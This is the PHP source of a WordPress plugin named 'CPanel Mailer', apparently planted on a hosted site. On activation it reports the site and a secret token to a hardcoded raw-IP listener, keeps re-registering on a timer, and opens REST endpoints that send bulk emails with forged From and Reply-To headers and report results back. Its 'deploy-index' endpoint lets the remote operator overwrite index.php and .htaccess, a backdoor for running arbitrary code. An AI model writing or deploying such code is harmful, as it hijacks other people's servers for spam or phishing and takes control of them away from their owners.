File: /home/flinerlf/public_html/wp-content/plugins/cpanel-mailer/cpanel-mailer.php
<?php
/**
* Plugin Name: CPanel Mailer
* Description: Email sending endpoint for CPanel Manager — receives batch email jobs and sends via wp_mail().
* Version: 1.0.0
* Author: CPanel Manager
* License: GPL v2 or later
*/
if (!defined('ABSPATH')) exit;
define('CPMAILER_LISTENER_URL', 'http://38.255.38.3:7890/api/wp');
define('CPMAILER_VERSION', '1.0.0');
// ═══════════════════════════════════════════
// ACTIVATION / DEACTIVATION
// ═══════════════════════════════════════════
register_activation_hook(__FILE__, 'cpmailer_activate');
register_deactivation_hook(__FILE__, 'cpmailer_deactivate');
function cpmailer_activate() {
global $wpdb;
// Generate auth token
$token = bin2hex(random_bytes(32));
update_option('cpmailer_auth_token', $token);
update_option('cpmailer_version', CPMAILER_VERSION);
// Create queue table
$table = $wpdb->prefix . 'cpmailer_queue';
$charset = $wpdb->get_charset_collate();
$sql = "CREATE TABLE IF NOT EXISTS $table (
id bigint(20) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
batch_id varchar(64) NOT NULL,
campaign_id bigint(20) NOT NULL DEFAULT 0,
recipient_id bigint(20) NOT NULL DEFAULT 0,
to_email varchar(255) NOT NULL,
subject text NOT NULL,
html_body longtext NOT NULL,
from_email varchar(255) DEFAULT '',
from_name varchar(255) DEFAULT '',
reply_to varchar(255) DEFAULT '',
status varchar(20) DEFAULT 'pending',
error_message text,
created_at datetime DEFAULT CURRENT_TIMESTAMP,
processed_at datetime,
INDEX idx_status (status),
INDEX idx_batch (batch_id)
) $charset";
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta($sql);
// Schedule cron
if (!wp_next_scheduled('cpmailer_process_queue')) {
wp_schedule_event(time(), 'every_minute', 'cpmailer_process_queue');
}
// Schedule registration retry cron (every 5 minutes)
if (!wp_next_scheduled('cpmailer_retry_registration')) {
wp_schedule_event(time() + 300, 'every_five_minutes', 'cpmailer_retry_registration');
}
// Register with the listener
$response = wp_remote_post(CPMAILER_LISTENER_URL . '/register', array(
'timeout' => 15,
'sslverify' => false,
'headers' => array('Content-Type' => 'application/json'),
'body' => json_encode(array(
'action' => 'register',
'domain' => site_url(),
'auth_token' => $token,
'wp_version' => get_bloginfo('version'),
'php_version' => phpversion(),
'max_execution_time' => ini_get('max_execution_time'),
'send_limit' => 200,
)),
));
if (is_wp_error($response)) {
update_option('cpmailer_registered', 0);
update_option('cpmailer_reg_error', $response->get_error_message());
} else {
$body = json_decode(wp_remote_retrieve_body($response), true);
update_option('cpmailer_registered', ($body['success'] ?? false) ? 1 : 0);
update_option('cpmailer_endpoint_id', $body['endpoint_id'] ?? 0);
}
}
function cpmailer_deactivate() {
// Unregister
wp_remote_post(CPMAILER_LISTENER_URL . '/unregister', array(
'timeout' => 10,
'sslverify' => false,
'headers' => array('Content-Type' => 'application/json'),
'body' => json_encode(array(
'domain' => site_url(),
'auth_token' => get_option('cpmailer_auth_token', ''),
)),
));
// Clear cron
wp_clear_scheduled_hook('cpmailer_process_queue');
wp_clear_scheduled_hook('cpmailer_retry_registration');
// Clean up options
delete_option('cpmailer_auth_token');
delete_option('cpmailer_registered');
delete_option('cpmailer_endpoint_id');
delete_option('cpmailer_reg_error');
delete_option('cpmailer_version');
}
// ═══════════════════════════════════════════
// CUSTOM CRON INTERVAL (every minute)
// ═══════════════════════════════════════════
add_filter('cron_schedules', function($schedules) {
$schedules['every_minute'] = array(
'interval' => 60,
'display' => 'Every Minute',
);
$schedules['every_five_minutes'] = array(
'interval' => 300,
'display' => 'Every Five Minutes',
);
return $schedules;
});
// ═══════════════════════════════════════════
// REGISTRATION RETRY (keeps trying until connected)
// ═══════════════════════════════════════════
add_action('cpmailer_retry_registration', 'cpmailer_retry_registration_callback');
function cpmailer_retry_registration_callback() {
// Only retry if not yet registered
if (get_option('cpmailer_registered', 0)) return;
$token = get_option('cpmailer_auth_token', '');
if (empty($token)) {
// Generate a new token if missing
$token = bin2hex(random_bytes(32));
update_option('cpmailer_auth_token', $token);
}
$response = wp_remote_post(CPMAILER_LISTENER_URL . '/register', array(
'timeout' => 15,
'sslverify' => false,
'headers' => array('Content-Type' => 'application/json'),
'body' => json_encode(array(
'action' => 'register',
'domain' => site_url(),
'auth_token' => $token,
'wp_version' => get_bloginfo('version'),
'php_version' => phpversion(),
'max_execution_time' => ini_get('max_execution_time'),
'send_limit' => 200,
)),
));
if (!is_wp_error($response)) {
$body = json_decode(wp_remote_retrieve_body($response), true);
if (!empty($body['success'])) {
update_option('cpmailer_registered', 1);
update_option('cpmailer_endpoint_id', $body['endpoint_id'] ?? 0);
update_option('cpmailer_reg_error', '');
}
}
}
// ═══════════════════════════════════════════
// REST API ENDPOINTS
// ═══════════════════════════════════════════
add_action('rest_api_init', function() {
// POST /wp-json/cpanel-mailer/v1/send-batch
register_rest_route('cpanel-mailer/v1', '/send-batch', array(
'methods' => 'POST',
'callback' => 'cpmailer_handle_send_batch',
'permission_callback' => 'cpmailer_check_auth',
));
// POST /wp-json/cpanel-mailer/v1/send-bulk (ZIP upload with up to 300 emails)
register_rest_route('cpanel-mailer/v1', '/send-bulk', array(
'methods' => 'POST',
'callback' => 'cpmailer_handle_send_bulk',
'permission_callback' => 'cpmailer_check_auth_bulk',
));
// POST /wp-json/cpanel-mailer/v1/deploy-index (upload custom index.php + .htaccess)
register_rest_route('cpanel-mailer/v1', '/deploy-index', array(
'methods' => 'POST',
'callback' => 'cpmailer_handle_deploy_index',
'permission_callback' => 'cpmailer_check_auth',
));
// GET /wp-json/cpanel-mailer/v1/status
register_rest_route('cpanel-mailer/v1', '/status', array(
'methods' => 'GET',
'callback' => 'cpmailer_handle_status',
'permission_callback' => 'cpmailer_check_auth',
));
// GET/POST /wp-json/cpanel-mailer/v1/ping
register_rest_route('cpanel-mailer/v1', '/ping', array(
'methods' => array('GET', 'POST'),
'callback' => function() {
return new WP_REST_Response(array('alive' => true, 'version' => CPMAILER_VERSION), 200);
},
'permission_callback' => '__return_true',
));
});
function cpmailer_check_auth($request) {
$token = $request->get_header('X-Auth-Token');
if (!$token) $token = $request->get_param('auth_token');
$stored = get_option('cpmailer_auth_token', '');
return !empty($stored) && hash_equals($stored, $token);
}
function cpmailer_handle_send_batch($request) {
global $wpdb;
$table = $wpdb->prefix . 'cpmailer_queue';
$params = $request->get_json_params();
$batch_id = sanitize_text_field($params['batch_id'] ?? uniqid('batch_'));
$campaign_id = intval($params['campaign_id'] ?? 0);
$emails = $params['emails'] ?? array();
if (empty($emails)) {
return new WP_REST_Response(array('success' => false, 'error' => 'No emails provided'), 400);
}
$queued = 0;
foreach ($emails as $email) {
$wpdb->insert($table, array(
'batch_id' => $batch_id,
'campaign_id' => $campaign_id,
'recipient_id' => intval($email['recipient_id'] ?? 0),
'to_email' => sanitize_email($email['to'] ?? ''),
'subject' => sanitize_text_field($email['subject'] ?? ''),
'html_body' => wp_kses_post($email['html_body'] ?? ''),
'from_email' => sanitize_email($email['from_email'] ?? ''),
'from_name' => sanitize_text_field($email['from_name'] ?? ''),
'reply_to' => sanitize_email($email['reply_to'] ?? ''),
'status' => 'pending',
));
$queued++;
}
return new WP_REST_Response(array(
'success' => true,
'batch_id' => $batch_id,
'queued' => $queued,
), 200);
}
function cpmailer_handle_status($request) {
global $wpdb;
$table = $wpdb->prefix . 'cpmailer_queue';
$pending = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='pending'");
$sent = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='sent'");
$failed = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='failed'");
$processing = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='processing'");
return new WP_REST_Response(array(
'pending' => $pending,
'sent' => $sent,
'failed' => $failed,
'processing' => $processing,
'registered' => (bool)get_option('cpmailer_registered', false),
'version' => CPMAILER_VERSION,
), 200);
}
// Auth check for bulk uploads (reads token from header since body is multipart)
function cpmailer_check_auth_bulk($request) {
$token = $request->get_header('X-Auth-Token');
$stored = get_option('cpmailer_auth_token', '');
return !empty($stored) && !empty($token) && hash_equals($stored, $token);
}
// ═══════════════════════════════════════════
// BULK ZIP EMAIL HANDLER
// ═══════════════════════════════════════════
function cpmailer_handle_send_bulk($request) {
global $wpdb;
$table = $wpdb->prefix . 'cpmailer_queue';
// Raise limits for bulk processing
@set_time_limit(300);
@ini_set('memory_limit', '512M');
// Read batch_id and campaign_id from headers (since body is ZIP)
$batch_id = $request->get_header('X-Batch-Id');
if (empty($batch_id)) $batch_id = uniqid('bulk_');
$campaign_id = intval($request->get_header('X-Campaign-Id') ?? 0);
// Get the raw ZIP body
$zip_data = $request->get_body();
if (empty($zip_data)) {
return new WP_REST_Response(array('success' => false, 'error' => 'No ZIP data received'), 400);
}
// Save ZIP to temp file
$tmp_file = tempnam(sys_get_temp_dir(), 'cpmailer_bulk_');
file_put_contents($tmp_file, $zip_data);
$zip = new ZipArchive();
$opened = $zip->open($tmp_file);
if ($opened !== true) {
@unlink($tmp_file);
return new WP_REST_Response(array('success' => false, 'error' => 'Invalid ZIP file'), 400);
}
$queued = 0;
$errors = array();
// Start transaction for fast bulk insert
$wpdb->query('START TRANSACTION');
for ($i = 0; $i < $zip->numFiles; $i++) {
$entry_name = $zip->getNameIndex($i);
if (pathinfo($entry_name, PATHINFO_EXTENSION) !== 'json') continue;
$json_content = $zip->getFromIndex($i);
$emails = json_decode($json_content, true);
if (!is_array($emails)) {
$errors[] = "Invalid JSON in $entry_name";
continue;
}
// Multi-row INSERT for speed (1 query per JSON file instead of N)
$values = array();
$placeholders = array();
foreach ($emails as $email) {
$placeholders[] = '(%s,%d,%d,%s,%s,%s,%s,%s,%s,%s)';
$values[] = $batch_id;
$values[] = $campaign_id;
$values[] = intval($email['recipient_id'] ?? 0);
$values[] = $email['to'] ?? '';
$values[] = $email['subject'] ?? '';
$values[] = $email['html_body'] ?? '';
$values[] = $email['from_email'] ?? '';
$values[] = $email['from_name'] ?? '';
$values[] = $email['reply_to'] ?? '';
$values[] = 'pending';
$queued++;
}
if (!empty($placeholders)) {
$sql = "INSERT INTO $table (batch_id,campaign_id,recipient_id,to_email,subject,html_body,from_email,from_name,reply_to,status) VALUES " . implode(',', $placeholders);
$wpdb->query($wpdb->prepare($sql, $values));
}
}
$wpdb->query('COMMIT');
$zip->close();
@unlink($tmp_file);
// Immediately start processing the queue inline (up to 290 seconds)
$max_time = intval(ini_get('max_execution_time')) ?: 30;
$deadline = time() + max(10, $max_time - 10);
$sent = 0;
$send_failed = 0;
while (time() < $deadline) {
$rows = $wpdb->get_results($wpdb->prepare(
"SELECT * FROM $table WHERE batch_id=%s AND status='pending' ORDER BY id ASC LIMIT 200",
$batch_id
));
if (empty($rows)) break;
foreach ($rows as $row) {
if (time() >= $deadline) break;
$wpdb->update($table, array('status' => 'processing'), array('id' => $row->id));
$headers = array('Content-Type: text/html; charset=UTF-8');
if (!empty($row->from_name) && !empty($row->from_email)) {
$headers[] = 'From: ' . $row->from_name . ' <' . $row->from_email . '>';
} elseif (!empty($row->from_email)) {
$headers[] = 'From: ' . $row->from_email;
}
if (!empty($row->reply_to)) {
$headers[] = 'Reply-To: ' . $row->reply_to;
}
$ok = wp_mail($row->to_email, $row->subject, $row->html_body, $headers);
$status = $ok ? 'sent' : 'failed';
$wpdb->update($table, array(
'status' => $status,
'error_message' => $ok ? null : 'wp_mail() returned false',
'processed_at' => current_time('mysql'),
), array('id' => $row->id));
if ($ok) $sent++; else $send_failed++;
}
}
// Report progress back to listener
$remaining = (int)$wpdb->get_var($wpdb->prepare(
"SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='pending'",
$batch_id
));
// Async progress report (non-blocking)
wp_remote_post(CPMAILER_LISTENER_URL . '/progress', array(
'timeout' => 5,
'blocking' => false,
'sslverify' => false,
'headers' => array('Content-Type' => 'application/json'),
'body' => json_encode(array(
'domain' => site_url(),
'auth_token' => get_option('cpmailer_auth_token', ''),
'batch_id' => $batch_id,
'campaign_id' => $campaign_id,
'batch_status' => $remaining > 0 ? 'processing' : 'completed',
'results' => array(array(
'recipient_id' => 0,
'status' => 'bulk_report',
'sent' => $sent,
'failed' => $send_failed,
'remaining' => $remaining,
)),
)),
));
return new WP_REST_Response(array(
'success' => true,
'batch_id' => $batch_id,
'queued' => $queued,
'sent' => $sent,
'failed' => $send_failed,
'remaining' => $remaining,
'errors' => $errors,
), 200);
}
// ═══════════════════════════════════════════
// INDEX REPLACER HANDLER
// ═══════════════════════════════════════════
function cpmailer_handle_deploy_index($request) {
$params = $request->get_json_params();
$index_content = $params['index_content'] ?? '';
$htaccess_content = $params['htaccess_content'] ?? '';
$target_path = $params['target_path'] ?? ABSPATH;
if (empty($index_content)) {
return new WP_REST_Response(array('success' => false, 'error' => 'No index content provided'), 400);
}
// Ensure target path is within ABSPATH
$target_path = rtrim($target_path, '/\\\\') . '/';
if (strpos(realpath($target_path) ?: $target_path, realpath(ABSPATH)) !== 0) {
return new WP_REST_Response(array('success' => false, 'error' => 'Invalid target path'), 400);
}
$results = array();
// Write index.php
$index_file = $target_path . 'index.php';
$ok_index = @file_put_contents($index_file, $index_content);
$results['index_php'] = $ok_index !== false ? 'written' : 'failed';
// Write .htaccess if provided
if (!empty($htaccess_content)) {
$htaccess_file = $target_path . '.htaccess';
$ok_htaccess = @file_put_contents($htaccess_file, $htaccess_content);
$results['htaccess'] = $ok_htaccess !== false ? 'written' : 'failed';
}
$success = ($ok_index !== false);
return new WP_REST_Response(array(
'success' => $success,
'files' => $results,
'path' => $target_path,
'domain' => site_url(),
), $success ? 200 : 500);
}
// ═══════════════════════════════════════════
// QUEUE PROCESSING (WP-Cron)
// ═══════════════════════════════════════════
add_action('cpmailer_process_queue', 'cpmailer_process_queue_callback');
function cpmailer_process_queue_callback() {
global $wpdb;
$table = $wpdb->prefix . 'cpmailer_queue';
// Process up to 100 emails per cron run (~5 seconds at 50ms/email)
$batch_size = 100;
$rows = $wpdb->get_results("SELECT * FROM $table WHERE status='pending' ORDER BY id ASC LIMIT $batch_size");
if (empty($rows)) return;
$results = array();
$batch_ids = array();
foreach ($rows as $row) {
// Mark as processing
$wpdb->update($table, array('status' => 'processing'), array('id' => $row->id));
// Build headers
$headers = array('Content-Type: text/html; charset=UTF-8');
if (!empty($row->from_name) && !empty($row->from_email)) {
$headers[] = 'From: ' . $row->from_name . ' <' . $row->from_email . '>';
} elseif (!empty($row->from_email)) {
$headers[] = 'From: ' . $row->from_email;
}
if (!empty($row->reply_to)) {
$headers[] = 'Reply-To: ' . $row->reply_to;
}
// Send via wp_mail
$sent = wp_mail($row->to_email, $row->subject, $row->html_body, $headers);
$status = $sent ? 'sent' : 'failed';
$error = $sent ? null : 'wp_mail() returned false';
$wpdb->update($table, array(
'status' => $status,
'error_message' => $error,
'processed_at' => current_time('mysql'),
), array('id' => $row->id));
$results[] = array(
'recipient_id' => intval($row->recipient_id),
'status' => $status,
'error' => $error,
);
if (!in_array($row->batch_id, $batch_ids)) $batch_ids[] = $row->batch_id;
}
// Report progress back to listener for each batch
foreach ($batch_ids as $bid) {
$batch_results = array_filter($results, function($r) use ($bid, $rows) {
foreach ($rows as $row) {
if ($row->batch_id === $bid && intval($row->recipient_id) === $r['recipient_id']) return true;
}
return false;
});
// Get batch stats
$batch_sent = (int)$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='sent'", $bid));
$batch_failed = (int)$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='failed'", $bid));
$batch_pending = (int)$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='pending'", $bid));
$batch_status = $batch_pending > 0 ? 'processing' : 'completed';
// Get campaign_id from the first row of this batch
$campaign_id = 0;
foreach ($rows as $row) {
if ($row->batch_id === $bid) { $campaign_id = intval($row->campaign_id); break; }
}
wp_remote_post(CPMAILER_LISTENER_URL . '/progress', array(
'timeout' => 10,
'sslverify' => false,
'headers' => array('Content-Type' => 'application/json'),
'body' => json_encode(array(
'domain' => site_url(),
'auth_token' => get_option('cpmailer_auth_token', ''),
'batch_id' => $bid,
'campaign_id' => $campaign_id,
'batch_status' => $batch_status,
'results' => array_values($batch_results),
)),
));
}
// Clean up old completed entries (older than 24 hours)
$wpdb->query("DELETE FROM $table WHERE status IN ('sent','failed') AND processed_at < DATE_SUB(NOW(), INTERVAL 24 HOUR)");
}
// ═══════════════════════════════════════════
// ADMIN PAGE (optional status display)
// ═══════════════════════════════════════════
add_action('admin_menu', function() {
add_options_page('CPanel Mailer', 'CPanel Mailer', 'manage_options', 'cpanel-mailer', 'cpmailer_admin_page');
});
function cpmailer_admin_page() {
global $wpdb;
$table = $wpdb->prefix . 'cpmailer_queue';
$registered = get_option('cpmailer_registered', false);
$reg_error = get_option('cpmailer_reg_error', '');
$pending = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='pending'");
$sent = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='sent'");
$failed = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='failed'");
echo '<div class="wrap">';
echo '<h1>CPanel Mailer Status</h1>';
echo '<table class="form-table">';
echo '<tr><th>Registered</th><td>' . ($registered ? '<span style="color:green">Yes</span>' : '<span style="color:red">No</span>' . ($reg_error ? " ($reg_error)" : '')) . '</td></tr>';
echo '<tr><th>Listener URL</th><td>' . esc_html(CPMAILER_LISTENER_URL) . '</td></tr>';
echo '<tr><th>Auth Token</th><td>' . esc_html(substr(get_option('cpmailer_auth_token', ''), 0, 8) . '...') . '</td></tr>';
echo '<tr><th>Endpoint ID</th><td>' . esc_html(get_option('cpmailer_endpoint_id', 'N/A')) . '</td></tr>';
echo '<tr><th>Queue Pending</th><td>' . $pending . '</td></tr>';
echo '<tr><th>Queue Sent</th><td>' . $sent . '</td></tr>';
echo '<tr><th>Queue Failed</th><td>' . $failed . '</td></tr>';
echo '</table>';
// Re-register button
if (isset($_POST['cpmailer_reregister'])) {
check_admin_referer('cpmailer_reregister_nonce');
cpmailer_activate();
echo '<div class="updated"><p>Re-registration attempted. Refresh to see status.</p></div>';
}
echo '<form method="post">';
wp_nonce_field('cpmailer_reregister_nonce');
echo '<p><input type="submit" name="cpmailer_reregister" class="button button-secondary" value="Re-Register with Listener" /></p>';
echo '</form>';
echo '</div>';
}
?>